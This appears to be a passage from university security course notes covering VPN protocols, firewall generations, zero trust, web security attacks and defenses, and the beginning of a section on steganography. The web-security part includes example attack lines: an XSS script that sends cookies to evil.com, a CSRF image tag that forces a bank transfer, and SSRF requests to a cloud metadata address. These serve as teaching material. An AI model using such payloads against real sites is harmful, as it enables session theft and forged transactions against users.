Authentication ensures you are connected to the legitimate gateway, not an imposter. This typically uses certificates, pre-shared keys, or public key cryptography.
The formula: VPN = tunnel + encryption + integrity + authentication.
VPN Deployment Models
VPNs serve three primary purposes, each with different security implications.
Site-to-Site (Network-to-Network)
This was the original VPN use case. Organizations connect geographically separated networks through VPN tunnels between gateway routers. Computers on either network communicate as if on a single unified network, unaware that traffic is encrypted and tunneled.
Remote Access (Host-to-Network)
Individual computers connect to corporate networks from remote locations. The remote computer runs VPN client software that establishes a tunnel to the corporate VPN gateway. Once connected, the computer can access internal resources as if physically in the office.
Privacy VPNs (Host-to-Provider)
Commercial services like ExpressVPN, NordVPN, and ProtonVPN allow users to establish VPN connections to the provider's network, which then acts as a gateway to the Internet. Traffic appears to originate from the provider rather than the user's actual location.
These services protect against local eavesdropping (such as on public Wi-Fi networks) and can bypass geographic content restrictions. However, the VPN provider can see all your traffic. You are shifting trust from your ISP to the VPN provider, not eliminating surveillance. Whether this improves privacy depends entirely on whether you trust the provider more than your ISP.
VPN Protocols
VPN protocols have evolved over time, each with different design philosophies. Three protocols dominate VPN deployments, each with different design philosophies.
IPsec (earliest: 1990s)
IPsec was developed as the first standardized approach to network-layer security. It operates at Layer 3 (i.e., it does not use TCP or UDP) and is typically implemented in the operating system kernel. IPsec is a separate protocol from TCP and UDP, using unique protocol numbers in the IP header to identify the encapsulated content as being IPsec data.
IPsec consists of two separate protocols (use one or the other):
-
The Authentication Header (AH) protocol provides authentication and integrity but not encryption.
-
The Encapsulating Security Payload (ESP) provides authentication, integrity, and encryption. ESP is the standard choice today since it does everything AH does plus encryption.
IPsec operates in two modes:
-
Tunnel mode encapsulates the entire original IP packet for network-to-network or host-to-network communication.
-
Transport mode protects only the payload for direct host-to-host communication.
IPsec Cryptography: Both sides negotiate on the algorithms to use when the connection is set up. IPsec uses the IKE (Internet Key Exchange) protocol to negotiate keys and algorithms, which in turn uses Diffie–Hellman key exchange. AES-CBC or AES-GCM are used for confidentiality, and HMAC-SHA1/SHA2 for integrity.
Advantages of IPsec:
-
Standardized and widely supported
-
Efficient kernel implementation
-
Transparent to applications
Disadvantages:
-
Complex standard
-
Complicated configuration
-
Problems with NAT (network address translation gateways)
OpenVPN (early 2000s)
OpenVPN emerged as the first widely-adopted open-source VPN protocol. Unlike IPsec, it runs in user space (not the kernel) and uses TLS for the control channel.
OpenVPN communicates via an operating system's TUN (TUNnel) virtual network interface, which the operating system treats as a regular interface. Traffic destined for the VPN is routed to this interface, encrypted by the OpenVPN process, and sent as regular UDP or TCP packets.
OpenVPN separates communication into two channels:
-
The control channel uses TLS for authentication and key exchange.
-
The data channel carries encrypted tunnel traffic using symmetric encryption (typically AES or ChaCha20) with keys derived from the TLS handshake. Like IPsec, OpenVPN negotiates on a specific set of algorithms to use when setting up a connection.
Advantages of OpenVPN:
-
Open source
-
Can run over TCP or UDP (TCP makes it easier to bypass firewalls)
-
Supports pre-shared keys or certificate-based authentication
-
Highly portable across operating systems
Disadvantages:
- Performance overhead from running in user space
WireGuard (newest: 2016)
WireGuard takes a minimalist approach. Its entire codebase is approximately 4,000 lines (compared to hundreds of thousands for IPsec or OpenVPN), enabling formal verification of its cryptographic properties. It was incorporated into the Linux kernel in version 5.6 (March 2020).
WireGuard Cryptography
WireGuard makes opinionated choices rather than offering configuration options. There is no cipher negotiation; it uses exactly one set of modern algorithms: Elliptic Curve Diffie-Hellman for key exchange, ChaCha20 for encryption, Poly1305 for message authentication, and BLAKE2s for hashing (used for deriving keys). This eliminates vulnerabilities related to negotiation and downgrade attacks.
Each peer is identified by its public key rather than a certificate. Configuration requires generating key pairs, exchanging public keys out-of-band, and specifying which IP addresses should route through the tunnel.
Advantages of WireGuard:
-
Extremely small codebase, formally verified
-
Uses only modern cryptographic primitives (ChaCha20, Poly1305, Curve25519)
-
Runs in kernel space, communicates via UDP
-
No complexity of issuing and managing certificates
-
No protocol negotiation; uses best current practices
-
Extremely efficient (rapid setup, fast algorithms, kernel operation)
-
Rotates session keys regularly (~every 2 minutes of active traffic)
-
Simple configuration: exchange public keys, specify IP addresses
Disadvantages:
-
Newer (but verified)
-
Not supported by some enterprise VPN products (but that's changing)
-
Lacks cipher negotiation (which is good but an issue if more desirable ciphers emerge)
-
Requires a separate key distribution infrastructure for large deployments
Comparing the Protocols
The three protocols reflect different eras and design philosophies:
IPsec offers broad compatibility with enterprise equipment but has a complex configuration. It operates at the network layer in the kernel.
OpenVPN offers portability and the ability to bypass firewalls, but with some performance overhead. It runs in user space using TLS.
WireGuard offers simplicity and high performance with modern cryptography. It runs in kernel space with a minimal, formally-verified codebase.
Security Limitations
VPNs are not a complete security solution.
-
They protect data in transit through the tunnel but do not protect compromised endpoints. If your computer has malware, the attacker can access data before it enters the tunnel.
-
VPNs do not guarantee anonymity. The VPN provider or corporate network can see your traffic. Websites can still identify you through cookies, browser fingerprinting, and login credentials.
-
Using a VPN can create a false sense of security. VPNs protect against some threats (eavesdropping on local networks) but not others (phishing, malware, compromised websites). Security requires defense in depth.
VPN Performance Considerations
VPNs come with performance overhead, though not all types are equally significant:
-
Encryption overhead: Minimal with modern hardware (CPUs have hardware acceleration for AES)
-
Encapsulation overhead: Adds 20-60 bytes of headers; generally not significant
-
Routing overhead: Usually the bigger issue; traffic routes through distant servers, adding latency
For corporate VPNs, server/gateway capacity can also become a bottleneck.
Week 12: Firewalls
Network Address Translation (NAT)
NAT was designed to conserve IPv4 addresses by letting many internal devices use private address ranges. A NAT router rewrites outbound packets and keeps a table so replies can be sent back to the correct internal system.
NAT operates at Layer 3 but must also inspect and modify Layer 4 headers (TCP/UDP ports) so it can track connections in its translation table.
NAT provides an important security benefit: external hosts cannot initiate connections to internal systems. The NAT router only creates translation table entries when internal hosts start connections, so it blocks all unsolicited inbound traffic by default. An external attacker can't send packets to 192.168.1.10 because that address isn't routable on the Internet, and even if they somehow could, the router has no translation entry for it.
This isn't perfect security since internal hosts can still make outbound connections that could be exploited, but it's a significant improvement over every internal device having a public IP address directly accessible from the Internet.
First-Generation Firewalls: Packet Filters
A packet filter (also called a screening router) sits at a network boundary and makes independent decisions for each packet based on rules. It examines packet headers and decides whether to allow or drop each packet based on:
-
Source and destination IP addresses
-
Source and destination ports (for TCP/UDP)
-
Protocol type (TCP, UDP, ICMP, etc.)
-
Network interface (which physical port on the router)
Rules are evaluated in order, and processing stops at the first match. This means rule ordering is critical: a broad rule high in the list can shadow more specific rules below it.
Ingress and egress filtering
Ingress filtering applies to inbound traffic and typically follows a “default deny” model:
-
Block traffic that should never appear from the Internet (such as private-source addresses).
-
Block packets that claim to come from your own internal network (spoofed traffic).
Egress filtering
Egress filtering controls outbound traffic from internal networks to external ones. While we generally trust internal hosts, it is useful to restrict how a compromised internal host can communicate with the outside. Useful filters can:
-
Limit which protocols internal hosts can use to leave the network.
-
Prevent compromised hosts from freely downloading malware or talking to command-and-control servers.
-
Log unusual outbound traffic patterns.
Second-Generation Firewalls: Stateful Packet Inspection (SPI)
First-generation packet filters examine each packet independently without remembering past packets. But network protocols like TCP create ongoing conversations between hosts. Stateful packet inspection firewalls track the state of these conversations.
Stateful firewalls track:
-
TCP connection state, including the SYN, SYN-ACK, and ACK handshake
-
Return traffic, allowing it only if the internal host initiated the connection
-
Related connections, where a protocol negotiates additional connections after an initial control session
Stateful inspection prevents packets from being injected into existing connections, blocks invalid protocol sequences, and supports protocols that rely on multiple coordinated flows.
Security Zones and the DMZ
Organizations rarely have a single “internal” network. Instead, they divide networks into zones with different trust levels and use firewalls to control traffic between zones.
The DMZ (demilitarized zone) is a network segment that hosts Internet-facing services like web servers, mail servers, or DNS servers. These systems must be accessible from the Internet, making them prime targets for attack. The DMZ isolates them from internal networks so that if they're compromised, attackers don't gain direct access to internal systems.
Typical firewall policies between zones are:
-
Internet → DMZ: Allow only specific services (like HTTPS) to specific servers
-
Internet → Internal: Block entirely (no direct inbound connections)
-
Internal → DMZ: allow only what applications and administrators need
-
DMZ → Internal: allow only essential connections
-
DMZ → Internet: allow only what the DMZ services require
Network segmentation
Network segmentation extends this concept inside the organization. Instead of one big internal network, you create separate segments for different functions or sensitivity levels. Examples include separate segments for web servers, application servers, database servers, HR systems, development environments, and guest WiFi.
Segmentation provides several benefits:
-
Limits lateral movement after a compromise (an attacker who breaches one segment can't freely access others)
-
Reduces the blast radius of an attack
-
Helps enforce least privilege (systems only have access to what they actually need)
-
Makes policies simpler within each segment
Third-Generation Firewalls: Deep Packet Inspection (DPI)
Deep Packet Inspection (DPI) examines application-layer data, not just IP and transport headers. This lets firewalls understand what applications are doing and make more intelligent decisions.
DPI capabilities include:
-
Filtering based on destination hostname: Even for encrypted connections, the initial TLS handshake includes the server name. DPI can block connections to specific websites
-
Validating protocols: Checking that HTTP requests follow the expected structure, that DNS responses match query IDs, and that SMTP uses valid commands
-
Filtering content: Detecting unwanted file types or active content in traffic
-
Detecting some types of malware malware: Matching patterns inside packets against known malware signatures
DPI must keep up with network speeds and can only buffer and inspect a limited portion of the traffic. Encrypted traffic cannot be inspected deeply unless the firewall performs TLS interception, which replaces server certificates and breaks true end-to-end encryption.
Deep Content Inspection (DCI)
Deep Content Inspection (DCI) goes beyond simple DPI by:
-
Reassembling flows that span multiple packets
-
Decoding encoded content, such as email attachments
-
Examining patterns across multiple connections
Because this is computationally expensive, DCI is usually applied only to traffic that has already been flagged or that matches specific criteria.
Intrusion Detection and Prevention Systems
An IDS (Intrusion Detection System) monitors traffic and raises alerts when it sees suspicious behavior. An IPS (Intrusion Prevention System) sits inline and blocks traffic it identifies as malicious before it reaches its destination. IDS is passive (monitor and alert), while IPS is active (monitor and block).
Detection techniques used by IDS/IPS systems:
Protocol-based detection checks that traffic strictly follows protocol specifications. This includes validating HTTP headers and message structure, ensuring DNS responses match outstanding queries, restricting SMTP to valid commands, and verifying SIP signaling messages. This helps block attacks that rely on malformed or unexpected input.
Signature-based detection compares traffic patterns against a database of known attack signatures. Each signature describes byte sequences or packet patterns that correspond to a specific attack. This is effective for known threats but must be updated frequently and cannot detect new, unknown (zero-day) attacks.
Anomaly-based detection learns what "normal" traffic looks like and flags deviations. Examples include port scanning activity, unusual protocol mixes, or abnormally high traffic volumes. The main challenge is avoiding false positives, since legitimate changes in behavior can look like anomalies.
Challenges for IDS/IPS
Deploying IDS and IPS systems at scale introduces several practical challenges:
-
Volume: High traffic rates can overwhelm inspection capacity, and high false-positive rates lead to alert fatigue.
-
Encryption: Encrypted traffic cannot be inspected deeply without TLS interception.
-
Performance: Deep inspection and pattern matching are computationally expensive.
-
Evasion: Attackers use fragmentation, encoding tricks, and timing variations to avoid detection.
-
Evolving threats: New attacks require constant updates to signatures and detection models.
Next-Generation Firewalls (NGFW)
NGFWs combine multiple capabilities into one platform: stateful inspection, deep packet inspection, intrusion prevention, TLS inspection, and application and user awareness.
They identify applications by analyzing:
-
TLS metadata, such as the advertised server name
-
Distinctive protocol message patterns
-
Traffic characteristics such as packet timing and direction
-
Vendor-maintained DPI signatures for well-known applications
However, NGFW application identification can be evaded by traffic obfuscation (tunnels inside TLS, domain fronting, protocol mimicking).
The key capability is distinguishing applications that all use the same port. Traditional firewalls see "HTTPS traffic on port 443." NGFWs can distinguish Zoom from Dropbox from Netflix, even though all use HTTPS on port 443, and apply different policies to each.
However, NGFWs still cannot see which local process on a host created the traffic. That level of visibility requires host-based firewalls.
Application Proxies
An application proxy sits between clients and servers as an intermediary. The client connects to the proxy, which then opens a separate connection to the real server. This means the proxy terminates one connection and initiates another.
A proxy can terminate TLS and inspect plaintext, but only if configured (and clients trust the proxy’s root certificate).
Application proxies can:
-
Enforce protocol correctness at the application layer
-
Filter or rewrite content before it reaches the client or server
-
Hide internal server addresses and structure
-
Provide a single point for logging and monitoring
The drawbacks are that proxies must understand each protocol in detail and can become performance bottlenecks if they handle large amounts of traffic.
Host-Based Firewalls
Host-based (or personal) firewalls run on individual systems instead of at the network perimeter. They integrate with the operating system so they can associate each network connection with a specific executable.
Host-based firewalls can:
-
Block unauthorized inbound connections
-
Restrict which applications may send or receive network traffic
-
Adjust rules depending on the current network (for example, home vs. public Wi-Fi)
-
Limit what malware can do if it runs on the system
Their limitations include:
-
If malware gains administrative privileges, it can disable or reconfigure the firewall.
-
Users may approve prompts from malicious applications just to make them go away.
-
Deep inspection on the host can introduce performance overhead.
-
They only see traffic to and from that one system.
Host-based firewalls work best as part of defense in depth, combined with network firewalls and other controls.
Zero Trust Architecture (ZTA)
The Problem: Deperimeterization
The traditional perimeter model assumed a clear boundary between trusted internal networks and untrusted external networks.
This model is breaking down for several reasons:
-
Mobile devices move constantly between trusted and untrusted networks
-
Cloud computing means applications and data run outside the datacenter, beyond the traditional perimeter
-
Insider threats demonstrate that being inside the network doesn't guarantee trustworthiness
-
Compromised systems allow lateral movement once an attacker breaches one internal system
-
Web applications mean browsers interact with countless external services, blurring the perimeter
The assumption that "inside equals safe" is no longer valid.
Zero Trust Principles
Zero trust abandons the idea that being "inside" a network is enough to be trusted. Instead, each access request is evaluated independently using identity, device state, and context, regardless of the source network.
Core principles of zero trust:
-
Never trust, always verify: Don't assume anything is safe just because it's inside the network
-
Least privilege access: Users and systems get only the specific access they need, not broad network access
-
Assume breach: Design systems assuming attackers are already inside, so limit what they can do
-
Verify explicitly: Use multiple signals (user identity, device health, location, behavior) to make access decisions
-
Microsegmentation: Divide the network into very small segments so even a successful compromise is contained
In practice, implementing zero trust is challenging. Ideally, security would be built into applications themselves, with applications authenticating users, verifying authorization, and encrypting data end-to-end. But most existing applications weren't designed this way.
As a practical approach, organizations often implement these ideas through Zero Trust Network Access (ZTNA) systems. These create VPN-like connections between authenticated devices, enforce strict access control policies, monitor and log all access, and use multi-factor authentication. Unlike traditional VPNs that often grant broad network access, ZTNA restricts users and devices to only the specific applications they're authorized to reach.
Microsegmentation in zero trust
Traditional segmentation divides the network into a handful of zones (DMZ, internal, guest). Microsegmentation divides it into very small segments, potentially one per application or per individual virtual machine.
In a microsegmented environment, a compromised web server can't reach database servers for other applications, a compromised workstation can't scan the network or move laterally, and each workload has precisely defined communication policies. This is often enabled by software-defined networking and virtualization technologies. In many deployments, microsegmentation is enforced by distributed firewalls inside the hypervisor or container runtime rather than by perimeter firewalls.
Microsegmentation supports zero trust by ensuring that even if an attacker gains initial access, they're contained within a very limited environment.
Defense in Depth
Modern network security relies on multiple layers of protection so that one failure does not compromise the entire environment. Key layers include:
-
Perimeter firewalls: Stateful inspection and DPI
-
DMZ: Public-facing services isolated from internal networks
-
Network segmentation: Internal networks divided by function and sensitivity
-
VPN: Remote access with multi-factor authentication
-
TLS: Encryption for all application traffic
-
Zero trust: Per-request authorization and device posture checks
-
Microsegmentation: Containment of critical workloads in tightly limited environments
-
Host-based firewalls: Endpoint-level control over application network access
-
IDS/IPS: Monitoring and blocking of known or suspicious activity
These layers work together to create resilience rather than relying on any single security mechanism.
Week 12: Web security
Web Security Study Guide
Evolution of browser security
Early web browsers were simple document viewers that displayed static HTML. They weren't interesting security targets because all dynamic behavior happened on servers. The browser just rendered what it received.
Modern browsers have become complete application platforms. They execute JavaScript code downloaded from servers, manipulate page content through the Document Object Model, make asynchronous requests back to servers, and access device sensors. This evolution created a much larger attack surface. More features mean more complexity, and more complexity means more opportunities for vulnerabilities.
WebAssembly extends this further by allowing browsers to execute compiled binary code from languages like C, C++, and Rust. While it runs in a sandbox (and has the same restrictions as JavaScript), the compiled nature makes it harder to detect malicious code compared to JavaScript source.
HTTP versus HTTPS
HTTP transmits everything in plaintext. Anyone monitoring network traffic can see the URLs you visit, page contents, form data, and cookies. This is particularly dangerous on public WiFi.
HTTPS encrypts all communication between browser and server using TLS. This protects against three key threats:
-
Eavesdropping: Attackers see encrypted data, not the actual content
-
Tampering: Integrity checks detect any modifications to data in transit
-
Impersonation: Certificates verify the server's identity
However, understand what HTTPS does NOT protect:
-
It doesn't protect against attacks on the server itself (after decryption) or the client (before encryption)
-
It doesn't prevent you from connecting to the wrong site (attacker can get valid certificates for their own domains)
-
It doesn't hide which sites you visit (DNS queries and IP addresses are visible, though not specific pages)
HTTPS provides a secure channel, but you must verify you're communicating with the right party.
Same-origin policy
The same-origin policy is the cornerstone of web security. It restricts how content from one origin can interact with content from another origin.
An origin is defined by three components: protocol (http vs https), hostname (including subdomains), and port number. All three must match for origins to be the same. If a port is not specified, the browser assume 80 for http and 443 for https.
Examples using http://www.example.com:80/page.html as the reference:
-
http://www.example.com:80/other.html— same origin (path doesn't matter) -
https://www.example.com:80/page.html— different origin (different protocol) -
http://www.example.com:443/page.html— different origin (different port) -
http://example.com:80/page.html— different origin (www matters) -
http://api.example.com:80/page.html— different origin (subdomain is different)
The same-origin policy restricts:
-
JavaScript access to the DOM (scripts from one origin cannot read or modify documents from another)
-
Reading cookies (isolated by origin)
-
XMLHttpRequest and Fetch API (JavaScript can issue cross-origin requests, but it cannot read the responses unless the server explicitly allows it through CORS)
The same-origin policy allows:
-
Linking to any URL
-
Embedding resources from other origins (images, scripts, stylesheets, iframes)
-
Form submissions to any origin
The distinction: you can embed or link to content, but you generally cannot read that content.
Passive content restrictions
The same-origin policy has interesting restrictions on passive content (non-executable content like images and CSS). While JavaScript can embed passive content from other origins, it cannot inspect that content:
-
Images: Can load from other origins but cannot inspect the image data (like reading pixel values with canvas)
-
CSS files: Can embed and use from any origin but cannot inspect the CSS content
-
JavaScript files: Can load from other origins and execute with the frame's authority, but the source is not readable (though
toStringcan decompile functions)
These restrictions prevent scripts from stealing embedded content while still allowing the embedding necessary for the web to function.
Frames and isolation
An iFrame embeds one web page within another. Advertisements, social media widgets, and embedded content typically use iFrames. The browser treats each frame as a separate origin and applies the same-origin policy to isolate them. A script in the parent page cannot access the DOM of an iframe from a different origin, and vice versa.
Document Object Model (DOM)
The DOM represents an HTML document as a tree of objects that JavaScript can access and manipulate. This enables modern interactive web pages. The security concern is that if an attacker can inject JavaScript into your page, they can manipulate the DOM to change what users see, steal information, or redirect users. This is the basis of cross-site scripting attacks.
Cookies
Cookies are the primary mechanism for maintaining state in HTTP. The server sends a Set-Cookie header, the browser stores it, and the browser automatically includes it in subsequent requests to the same server.
Cookies are used for three main purposes:
Session management (authentication cookies): These pass identification about a user's login session. When you log in, the server sends a cookie with a session ID. This cookie is sent with every subsequent request so the server can identify you. This is why Amazon and Facebook don't prompt you for login every time you visit. Session management cookies may also pass shopping cart identifiers, even if you're not logged in.
Personalization: These identify user preferences such as font sizes, types of content to present, or language preferences. They may also include data that will be pre-filled into web forms.
Tracking: These monitor user activity across visits. If a browser doesn't send a cookie on a page request, the server creates a new cookie with a unique identifier. The server logs each page visit with that user's identifier. If you later log in or create an account, the server can associate all the tracked data with your specific user account.
Even though we refer to cookies as authentication cookies or tracking cookies, they all use the same mechanism. It's just a matter of how applications use them.
Critical security attributes you need to know:
-
Secure flag: The cookie is only sent over HTTPS, never over unencrypted HTTP. Essential for session cookies
-
HttpOnly flag: The cookie cannot be accessed by JavaScript via
document.cookie. This protects against XSS stealing cookies
Important: cookies don't follow the same-origin policy. They're scoped by domain and path, not port, and this is intentional. This creates security issues taht can be exploited in CSRF attacks.
Session management vulnerabilities
After login, servers typically set a session cookie containing a session ID. This ID identifies you in subsequent requests. Several attacks target this mechanism:
Session hijacking is when an attacker obtains your session ID and uses it to impersonate you. This can happen through:
-
Packet sniffing if session cookies aren't marked Secure
-
XSS attacks stealing cookies (unless HttpOnly is set)
-
Session IDs exposed in URLs, logs, or browser history
Session fixation is when an attacker sets your session ID to a value they know before you log in. The attack sequence:
-
Attacker obtains a valid session ID from the target site
-
Attacker tricks you into using this session ID (through a crafted URL)
-
You log in using the attacker's session ID
-
The site authenticates you, but keeps the same session ID
-
The attacker now has a valid, authenticated session as you
Defense: Always regenerate session IDs after successful login.
Inadequate session expiration means sessions remain valid too long. Stolen session IDs can be used indefinitely if sessions never expire. Sessions should expire after inactivity and have an absolute maximum lifetime.
Cross-Origin Resource Sharing (CORS)
Sometimes web applications legitimately need to make cross-origin requests. For example, a single-page app at app.example.com might need to fetch data from an API at api.example.com.
CORS allows servers to relax the same-origin policy in a controlled way using HTTP headers. The browser sends an Origin header with the request. The server responds with Access-Control-Allow-Origin indicating which origins are permitted. If the origin matches, the browser allows JavaScript to read the response.
Key points:
-
The server uses
Access-Control-Allow-Origin: *to allow any origin (use cautiously) -
By default, cross-origin requests don't include credentials (cookies)
-
To include credentials, both client and server must explicitly opt in
-
When credentials are included, the server must specify an explicit origin, not the wildcard
Content Security Policy (CSP)
CSP helps prevent cross-site scripting and code injection attacks. It's implemented through an HTTP response header that specifies which resources the browser is allowed to load.
Example: Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
This says resources should only load from the same origin by default, but scripts can additionally load from the specified CDN.
The key concept: CSP provides a whitelist of trusted sources. Even if an attacker injects HTML trying to load a malicious script, the browser blocks it if it doesn't come from an allowed source. This is defense in depth. Even if input validation fails and XSS is possible, CSP can prevent the malicious script from executing.
The challenge of input validation
The advice "validate all input" is deceptively simple. The problem is that what constitutes valid input depends entirely on context. The same data might be safe in one context but dangerous in another.
Consider the name O'Brien:
-
In HTML output, the single quote is generally safe
-
In an SQL query, it could enable SQL injection
-
In JavaScript, it could break out of a string literal
-
In a shell command, it could enable command injection
-
In a file path, it's just a regular character
You cannot check if input is "safe" in general. You must validate or encode based on how the data will be used. This is context-dependent at multiple layers. HTML encoding turns < into <, which works for HTML content. But if you're inserting data into a JavaScript string within an HTML page, you need JavaScript encoding, not HTML encoding.
-
Validation must be context-specific
-
Use output encoding, not just input validation
-
Use tempates or framework-provided functions for each specific context
-
Apply defense in depth with multiple layers of protection
Cross-site scripting (XSS)
XSS is an attack where an attacker injects malicious scripts into web pages viewed by other users. When victims visit the page, the script executes in their browser with full access to the page's DOM, cookies (unless HttpOnly), and session storage.
Stored XSS: The malicious script is permanently stored on the target server (in a database, comment field, forum post). When other users view the page containing the stored data, the script executes.
Example: Attacker posts a comment containing <script>document.location='http://evil.com/steal?cookie='+document.cookie;</script>. When users view the comment, their cookies are sent to the attacker's server.
Reflected XSS: The malicious script is reflected back to the user immediately in the server's response. Typically occurs when user input is included in the response without proper sanitization.
Example: A search page displays "You searched for: [query]" and the query contains <script>alert('XSS')</script>. Attackers trick victims into clicking malicious links through phishing.
DOM-based XSS: The vulnerability exists entirely in client-side JavaScript that processes user input unsafely. The malicious data never goes to the server but is processed directly in the browser.
Example: JavaScript that reads a URL parameter and inserts it directly into the page using innerHTML.
Prevention:
-
Validate input and encode output (encode special HTML characters:
<becomes<, etc.) -
Use the right encoding for the context (HTML, JavaScript, URL, CSS each need different encoding)
-
Avoid dangerous functions: never use
innerHTMLwith user data; usetextContentinstead -
Use Content Security Policy to block inline scripts
-
Set HttpOnly flag on cookies
Cross-site request forgery (CSRF)
CSRF tricks a victim's browser into making unwanted requests to a web application where the victim is authenticated. It exploits the fact that browsers automatically include cookies with requests, even when those requests originate from other sites.
Attack scenario: You're logged into your bank at bank.com, which sets a session cookie. You then visit evil.com while still logged in. The malicious site contains:
<img src="https://bank.com/transfer?to=attacker&amount=1000">
Your browser automatically makes a GET request to bank.com/transfer and includes your bank.com cookies. If the bank relies solely on session cookies for authentication, the transfer succeeds.
The attack works because:
-
The browser automatically includes cookies with requests
-
The bank cannot distinguish this request from a legitimate one
-
The same-origin policy doesn't prevent making the request, only reading the response
Prevention strategies:
-
CSRF tokens: Include a secret, unpredictable token with each form submission. The server verifies the token before processing. Since the malicious site cannot read the token (due to same-origin policy) or predict it, the attack fails
-
SameSite cookie attribute: Setting
SameSite=StrictorSameSite=Laxprevents cookies from being sent with cross-site requests -
Verify Origin and Referer headers: These indicate where the request originated (use as an additional layer)
-
Require re-authentication for sensitive actions: For critical operations, require the user to re-enter their password
Clickjacking
Clickjacking tricks users into clicking something different from what they perceive. The attacker embeds the target site in a transparent iframe positioned over a decoy element.
Example: An attacker creates a page saying "Click here to win a free iPad!" but places a transparent iframe containing your bank's "confirm transfer" button precisely where users will click. When victims click for their prize, they're actually clicking the hidden bank button.
Prevention:
-
X-Frame-Options header: Tells browsers whether the page can be displayed in an iFrame.
X-Frame-Options: DENYprevents any framing.X-Frame-Options: SAMEORIGINallows framing only by pages from the same origin -
Content Security Policy frame-ancestors directive:
Content-Security-Policy: frame-ancestors 'none'prevents any framing (more flexible than X-Frame-Options)
JavaScript-based frame-busting approaches are not reliable. HTTP headers are the preferred solution.
Server-side request forgery (SSRF)
SSRF is when an attacker causes a server to make HTTP requests to unintended locations. This can expose internal services, bypass firewall restrictions, or access cloud metadata services.
Example: A web application fetches content from user-provided URLs. An attacker requests http://localhost/admin or http://169.254.169.254/latest/meta-data/ (the cloud metadata service). The server makes requests to these URLs, which might not be accessible from the public internet but are accessible from the server itself. In cloud environments, metadata services can contain sensitive information like API credentials.
Prevention: Whitelist allowed destinations, block private IP ranges and cloud metadata services, use proper URL parsing to validate hostnames, disable or limit redirects, and use network segmentation to isolate web applications from sensitive internal services.
MIME sniffing attack
Passive content (images, videos, stylesheets) is considered to have no authority because it cannot execute scripts or interact with the DOM. However, browsers sometimes perform MIME sniffing, trying to guess the content type based on actual content rather than the declared MIME type.
Attackers exploit this by uploading malicious content disguised as passive content. For example, an attacker uploads a file crafted to look like an image but containing JavaScript code. The file is declared as an image (Content-Type: image/jpeg), and the server accepts it. When a browser requests this file and performs MIME sniffing, it may decide the content looks like HTML or JavaScript and execute it as a script rather than treating it as an image.
This allows the attacker to inject and execute malicious code, bypassing server-side input validation that only checks file extensions or declared content types.
Defense: Web servers should include the X-Content-Type-Options: nosniff header, which instructs browsers not to perform MIME sniffing and to strictly interpret content based on its declared Content-Type.
User tracking
Beyond direct security attacks, web technology enables extensive tracking of user behavior across sites.
Third-party cookies: When you visit shopping.com that includes an image from adnetwork.com, that ad network can set a cookie. Later, when you visit news.com that also includes content from adnetwork.com, your browser sends that cookie. The ad network now knows the same user visited both sites. Over time, this builds a profile of your browsing across all sites using that ad network.
Modern browsers defend against this by blocking third-party cookies by default (Safari, Firefox) or partitioning storage by top-level site so third-party cookies are isolated per site.
Tracking pixels: A tiny, typically transparent image embedded in a page or email. When your browser loads it, the server records information about the visit. If it sets a cookie, it can track you across visits and sites. Used for web analytics, conversion tracking, email tracking (detecting when emails are opened), and retargeting (serving ads for products you previously viewed).
Browser fingerprinting: Identifying browsers based on their unique combination of characteristics, including browser version, operating system, screen resolution, installed fonts, time zone, canvas rendering, WebGL information, and audio processing. These attributes often create a unique fingerprint that can identify a specific browser even without cookies. Harder to defend against because it doesn't rely on storing data in the browser.
Social engineering and user deception
Homograph attacks: Exploiting Unicode characters that look similar to ASCII characters. An attacker registers pаypal.com (with a Cyrillic 'a') which usually looks identical to paypal.com but is a completely different domain. Other confusable characters include Cyrillic 'о' versus Latin 'o', and the number '1' versus lowercase 'L' versus uppercase 'I'. Modern browsers display warnings for mixed-script domains but aren't perfect.
Subdomain tricks and misleading domain names (combosquattting and typosquatting): Creating domains like paypal.com.evil-site.com or login-paypal.com-secure.phishing.com. Users who don't carefully read the full domain from right to left might be deceived. The actual domain is what comes before the final top-level domain.
Visual spoofing: Websites display fake certification logos, copy legitimate brand designs, create fake browser warnings, or make fake close buttons that actually link to malicious content. Users should verify security claims through independent channels.
Status bar spoofing: JavaScript can change a link's destination after the status bar displays a benign URL. When you hover, you see the legitimate URL, but clicking takes you elsewhere. Typing URLs directly or using bookmarks is safer for critical sites.
https security: HTTPS only means the connection is encrypted, not that the site is trustworthy. An attacker can get valid certificates for their own malicious domains. Users may mistake a secure connection for a trustworthy one.
Week 13: Steganogrpahy, Watermarking, and Onion Routing
Steganography vs. Watermarking
Steganography hides the existence of a message within a cover object. The goal is undetectability--an observer should not realize hidden data is present. It is primarily used for one-to-one communication.
Three characteristics define steganography:
-
The cover object appears untouched (modifications are invisible and statistically difficult to detect)
-
The hidden data is a payload (arbitrary messages transmitted secretly)
-
The adversary model is detection (if an analyst suspects hidden data exists, the mission fails)
Watermarking embeds identifying information into content so it persists even if someone tries to remove it. The goal is persistence, not secrecy. It is primarily used for one-to-many communication.
Three characteristics define watermarking:
-
The watermark does not need to be hidden
-
The watermark is tied to the object (ownership, license, or tracking data), not a message payload
-
The adversary model is removal (the watermark should survive cropping, compression, and other transformations)
Fingerprinting is a variant of watermarking that embeds unique identifying information into each distributed copy, allowing leaked copies to be traced to specific recipients.
Classic Steganography Techniques
Null ciphers (concealment ciphers) hide messages within ordinary text using predefined patterns, such as taking specific letters after punctuation marks or the nth letter of each word.
Invisible ink conceals messages that become visible only under certain conditions (heat, UV light, or chemicals).
Microdots shrink messages to the size of a period, embedded in documents or images.
Chaffing and winnowing (Ron Rivest, 1998) pairs real messages with irrelevant data, each accompanied by a MAC. Only those with the key can verify which messages are authentic. This achieves confidentiality without encryption.
Digital Steganography
Image Steganography
Three common methods hide messages in images:
-
Metadata fields: EXIF, PNG text fields, or XMP data. Not true steganography since these fields are well-known, but can bypass content filters.
-
LSB steganography: Replaces least significant bits of pixel color values with message bits. Changes are imperceptible to humans.
-
Frequency domain steganography: Embeds data in high-frequency areas of images (noisy regions like leaves, grass, edges). Humans don't notice changes in these regions. However, lossy compression targets the same areas, so hidden data may not survive re-encoding.
The choice of cover medium matters. High-noise content (photographs, music) hides changes better than simple graphics with solid colors.
Audio Steganography
Audio steganography exploits psychoacoustic principles to hide data where humans won't notice distortion. Techniques include LSB encoding, echo hiding (adding imperceptible echoes), phase coding, and spread spectrum methods.
Network Steganography
Data can be hidden in network communication through packet headers, timing intervals between packets, TCP initial sequence numbers, or DNS queries and responses. DNS-based steganography is commonly used for malware command-and-control communication.
Watermarking Applications
Printer Tracking Dots
